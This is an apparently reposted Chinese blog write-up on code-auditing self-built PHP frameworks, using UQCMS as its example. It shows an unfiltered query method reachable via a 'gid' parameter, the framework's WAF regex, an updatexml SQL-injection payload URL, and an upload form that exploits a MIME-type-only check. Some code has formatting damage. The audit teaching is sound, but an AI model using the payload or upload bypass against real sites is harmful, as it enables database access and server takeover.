基于框架开发的程序的代码审计思路2

2019-08-27 约 913 字 预计阅读 5 分钟

声明:本文 【基于框架开发的程序的代码审计思路2】 由作者 小透明yo 于 2019-08-27 09:01:00 首发 先知社区 曾经 浏览数 143 次

感谢 小透明yo 的辛苦付出!

0x01:

上文地址:http://www.f4ckweb.top/index.php/archives/62/
在文章前面BB两句为什么在我博客,完全是因为不知道先知的审核规则,所以发到博客了。

上一节说了基于系统框架的审计思路,这一节说一下关于开发者自写的框架的审计思路。

0x02:

在上一节中说到,MVC模式中一般只需要看cotroller中的代码,因为那里面才是能够直接访问到的。但是其实有一点忘记说了,其实也可以直接看框架的核心文件。所以对于自写框架我的审计思路一般是:核心文件->调用地点

而过程一般会先观察程序的架构(由目录命名规则就可以看出来)

0x03:

本文用到的案例为UQCMS,这是一套电商相关的程序,可自行百度下载。

0x04:

在框架的核心代码中

0x01(SQL):

首先查看目标程序的目录结构:

由此可见框架核心代码在:UQframework中,模型代码在:module中。

进入UQframework后,发现果然是目标框架。

观察目录以及文件名字可以得出文件具体功能,以db.class.php举列子,发现开发者后门:

function query($uq1) {
        if (empty($uq1)) {
            return false;
        }
        $t1 = microtime(true);
        $uq3 = $this->conn->query($uq1);
        $uq4 = microtime(true) - $t1;
        if ($uq4 >= '0.1') {
            db_log(date('Y-m-d H:i:s') . ' SLOW: ' . $uq1);
        }
        if ($this->conn->error) {
            echo $this->conn->error;
            echo '<br>';
            echo $uq1 . '<br>';
            db_log(date('Y-m-d H:i:s') . ' ERROR: ' . $uq1);
            return false;
        }
        if ($uq3) {
            return $uq3;
        } else {
            return false;
        }
    }

在query方法中,并没有任何过滤,直接就带入数据库进行查询了,而其他插入均存在过滤:

function add($uq6, $uq7) {
        $uq8 = "";
        $uq9 = "";
        foreach ($uq7 as $uq10 => $uq11) {
            if (@trim($uq11) !== '') {
                $uq8.= "`" . $uq10 . "`,";
                if (!get_magic_quotes_gpc()) {
                    $uq9.= " '" . @addslashes($uq11) . "',";
                } else {
                    $uq9.= " '" . $uq11 . "',";
                }
            }
        }
        $uq8 = rtrim($uq8, ",");
        $uq9 = rtrim($uq9, ",");
        $uq1 = "INSERT INTO `{$uq6}` (" . $uq8 . ") VALUES  (" . $uq9 . ");";
        return $this->query($uq1);
    }

查找调用query函数并且没有走过滤的函数,在此文件中有很多,但是调用最多的为get_one函数:

function get_one($uq1) {
        $uq3 = $this->query($uq1);
        if ($uq3) {
            $uq7 = $uq3->fetch_array(MYSQLI_ASSOC);
            if ($uq7) {
                return $uq7;
            } else {
                return true;
            }
        } else {
            return false;
        }
    }

通过seay的工具,搜索出来很多前台的功能点:

/home/controls/demo.class.php

function index() {
        $uq0 = $_GET['gid'] ? ? false;
        $uq1 = $this->db->get_one("select * from " . table('goods') . " where id = " . $uq0);
        if ($uq1['id']) {
            $uq2 = '';
            if (cfg('distribute_status') == '1') {
                if (!empty($this->uid)) {
                    $uq3 = $this->db->get_one("select id,uid from " . table('distribute') . " where status = 1 and uid = " . $this->uid);
                    if ($uq3['id']) {
                        $uq2 = '?trackuid=' . $uq3['id'];
                    }
                }
            }
            $uq4 = cfg('site_url') . 'goods/' . $uq1['id'] . '.html' . $uq2;
            $uq5 = ['img' => [['url' => img_host() . $uq1['images'] . img_size('640x640') ]], 'font' => [['content' => $uq1['title'], 'x' => 20, 'y' => 710, 'width' => 320, 'height' => 80, 'size' => 18], ['content' => '现价', 'x' => 20, 'y' => 820, 'size' => '24', 'color' => '255,0,0,0'], ['content' => '¥' . $uq1['price'], 'x' => 110, 'y' => 820, 'color' => '255,0,0,0', 'size' => '27']], 'qrcode' => ['content' => $uq4, 'x' => 410, 'y' => 680, ]];
            images::init()->create($uq5);
        }
    }

而框架之所以难以挖掘漏洞,完全是因为基本上所有的框架都会有一层强到变态的waf,参考该框架的以下代码:

set_error_handler("customError", E_ERROR);
$uq4 = "'|<[^>]*?>|^\\+\/v(8|9)|\\b(and|or)\\b.+?(>|<|=|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$uq5 = "^\\+\/v(8|9)|\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$uq6 = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($uq7, $uq8, $uq9) {
    if (preg_match("/" . $uq9 . "/is", $uq7) == 1) {
        safe_error_msg();
    }
    $uq8 = arr_foreach($uq8);
    if (preg_match("/" . $uq9 . "/is", $uq8) == 1) {
        safe_error_msg();
    } else {
        preg_match_all('/<\\s*img[^>]*>/Ui', $uq8, $uq10);
        if (!empty($uq10[0])) {
            foreach ($uq10[0] as $uq11) {
                if ((!strpos($uq11, 'onerror') == '') || (!strpos($uq11, 'javascript') == '')) {
                    safe_error_msg();
                }
            }
        }
    }
}

简单点的payload:

http://127.0.0.1/index.php/demo/index/?gid=2/**/and(updatexml(1,concat(0x7e,user(),0x7e),1))

这样的拦截基本上只能够在变量覆盖,IP地址,多次解码上面做一点文章。但是由于代码并没有格式化,所以楼主也没有去找这些地方

0x02(上传):

UQframework\class\upload.class.php:

static public function store($uq2, $uq3 = null, $uq4 = null) {
        if (empty($uq4)) {
            $uq5 = array();
            $uq6 = array_values($_FILES);
            $uq0 = $uq6[0]['name'];
            $uq7 = $uq6[0]['type'];
            $uq8 = $uq6[0]['size'];
            $uq9 = $uq6[0]['tmp_name'];
        } else {
            $uq0 = $uq4;
            $uq7 = mime_content_type($uq4);
            $uq8 = filesize($uq4);
            $uq9 = $uq4;
        }
        if ($uq0) {
            if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png'])) {
                if ($uq8 < ((1024 * 1024) * 10)) {
                    if (empty($uq3)) {
                        $uq3 = $uq2 . '/' . self::reset_new_name($uq0);
                    }
                    if (!_is_dir($uq3)) {
                        file::mk_dir($uq3);
                    }
                    if (file::remove($uq9, $uq3)) {
                        $uq5['error'] = '0';
                        $uq5['name'] = $uq3;
                        $uq5['url'] = cfg('site_url') . $uq3;
                        $uq5['size'] = filesize($uq3);
                        return $uq5;
                    } else {
                        return ['error' => '1', 'msg' => '上传错误'];
                    }
                } else {
                    return ['error' => '1', 'msg' => '上传文件过大,当前图片' . formatBytes($uq8) ];
                }
            } else {
                return ['error' => '1', 'msg' => '不支持此类型的文件,支持:jpg,gif,png'];
            }
        } else {
            return ['error' => '1', 'msg' => '上传的文件不能为空'];
        }
    }

可以很明显的发现上面的代码对图片的验证仅仅就只有一句代码:

if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png']))

接下来搜索store此函数:

/home/controls/album.class.php:

public function upload_temp() {
        $uq2 = upload::store('temp/images');
        echo json_encode($uq2);
    }

构造表单:

<form action="http://127.0.0.1/index.php/album/upload_temp/" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

0x04:

说完核心代码,我们在说说模型。什么是模型?
网上的定义为:

程序员编写程序应有的功能(实现算法等等)、数据库专家进行数据管理和数据库设计(可以实现具体的功能)。

也就是说框架的核心代码其实也可以称为模型

0x001:

在模型中也有一处文件上传,代码如下:

function upload($uq0, $uq2 = '0', $uq3 = null) {
        $uq1 = array();
        $this - >save_path = $uq0;
        $this - >ptype = $uq2;
        $this - >new_name = $uq3;
        $uq4 = array_keys($_FILES);
        $uq4 = $uq4[0];
        $uq5 = array_values($_FILES);
        $uq6 = $uq5[0]['name'];
        $uq7 = $uq5[0]['type'];
        $uq8 = $uq5[0]['size'];
        $uq9 = $uq5[0]['tmp_name'];
        $uq1 = $this - >upload_function($uq4, $uq6, $uq7, $uq8, $uq9);
        if ($uq1['error'] == 0) {
            return $uq1;
        } else {
            return $uq1;
        }
    }

跟进upload_function方法:

function upload_function($uq4, $uq6, $uq7, $uq8, $uq9) {
        if ($uq6) {
            if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png', 'jpg', 'gif', 'png'])) {
                if ($uq8 < (1024 * 1024 * 2)) {
                    if (empty($this - >new_name)) {
                        $uq3 = 'data/'.$this - >save_path.'/'.$this - >reset_name($uq6);
                    } else {
                        $uq3 = $this - >new_name;
                    }
                    if (cfg('storage_status') == '1') {
                        $uq10 = new storage();
                        $uq1 = $uq10 - >upload($uq9, $uq3);
                    } else {
                        file: :mk_dir($uq3, true);
                        if (file: :remove($uq9, $uq3)) {
                            $uq1['error'] = '0';
                            $uq1['name'] = $uq3;
                            $uq1['size'] = filesize($uq3);
                            $uq1['url'] = $uq3;
                        } else {
                            return ['error' = >'1', 'msg' = >'文件移动错误'];
                        }
                    }
                    if ($uq1['error'] == '0') {
                        $uq11 = $this - >space_size($uq1['name'], $uq1['size'], $this - >ptype);
                        if ($uq11) {
                            $uq12['error'] = '0';
                            $uq12['id'] = $uq11;
                            $uq12['name'] = $uq1['name'];
                            $uq12['url'] = $uq1['url'];
                            if (isset($uq4)) {
                                $uq12[$uq4] = $uq1['url'];
                            }
                            return $uq12;
                        } else {
                            return ['error' = >'1', 'msg' = >'录入系统错误'];
                        }
                    } else {
                        return ['error' = >'1', 'msg' = >$uq1['msg']];
                    }
                } else {
                    return ['error' = >'1', 'msg' = >'上传文件过大,当前图片'.formatBytes($uq8)];
                }
            } else {
                return ['error' = >'1', 'msg' = >'不支持此类型的文件,支持:jpg,gif,png'];
            }
        } else {
            return ['error' = >'1', 'msg' = >'上传的文件不能为空'];
        }
    }

payload和上文中一样。

总结:

在审计自写程序时,可以重点关注核心文件以及模型方法,然后在查看哪些地方调用了该方法/函数

另外各位可以下载UQCMS练手,这套CMS是真的很简单

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now